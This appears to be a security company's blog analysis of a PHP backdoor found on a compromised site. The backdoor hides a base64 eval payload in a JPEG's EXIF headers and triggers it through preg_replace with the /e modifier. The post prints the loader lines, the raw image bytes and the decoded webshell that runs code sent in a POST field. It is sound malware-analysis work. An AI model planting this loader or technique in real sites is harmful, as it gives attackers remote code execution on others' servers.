A few days ago, Peter Gramantik from our research team found a very interesting backdoor on a compromised site. This backdoor didn’t rely on the normal patterns to hide its content (like base64/gzip encoding), but stored its data in the EXIF headers of a JPEG image. It also used the exif_read_data and preg_replace PHP functions to read the headers and execute itself.

Technical Details

The backdoor is divided into two parts. The first part is a mix of the exif_read_data function to read the image headers and the preg_replace function to execute the content. This is what we found in the compromised site:

$exif = exif_read_data('/homepages/clientsitepath/images/stories/food/bun.jpg');
preg_replace($exif['Make'],$exif['Model'],'');

Both functions are harmless by themselves. Exif_read_data is commonly used to read images and preg_replace to replace the content of strings. However, preg_replace has a hidden and tricky option where if you pass the “/e” modifier it will execute the content (eval), instead of just searching/replacing.

When we look at the bun.jpg file, we find the second part of the backdoor:

ÿØÿà^@^PJFIF^@^A^B^@^@d^@d^@^@ÿá^@¡Exif^@^@II*^@
^H^@^@^@^B^@^O^A^B^@^F^@^@^@&^@^@^@^P^A^B^@m^@^@^@,^@^@^@^@^@^@^@/.*/e^
@ eval ( base64_decode("aWYgKGl zc2V0KCRfUE9TVFsie noxIl0pKSB7ZXZhbChzd
HJpcHNsYXNoZXMoJF9QT1NUWyJ6ejEiXSkpO30='));
@ÿì^@^QDucky^@^A^@^D^@^@^@<^@^@ÿî^@^NAdobe^

The file starts normally with the common headers, but in the "Make" header it has a strange keyword: "/.*/e". That's the exact modifier used by preg_replace to execute (eval) whatever is passed to it.

Now things are getting interesting...

If we keep looking at the EXIF data, we can see the "eval ( base64_decode" hidden inside the "Model" header. When you put it all together, we can see what is going on. The attackers are reading both the Maker and Model header from the EXIF and filling the preg_replace with them. Once we modify the $exif['Make'] and $exif['Model'] for what is in the file, we get the final backdoor:

preg_replace ("/.*/e", ,"@ eval ( base64_decode("aWYgKGl ...");

Once decoded, we can see that it just executes whatever content is provided by the POST variable zz1. The full decoded backdoor is here:

if (isset( $_POST["zz1"])) { eval (stripslashes( $_POST["zz1"]..

Steganography Malware

Another interesting point is that bun.jpg and other images that were compromised, still load and work properly. In fact, on these compromised sites, the attackers modified a legit, pre-existent image from the site. This is a curious steganographic way to hide the malware.

Note: Any of Sucuri clients using Server Side Scanning are protected against this type of injection (detected by us).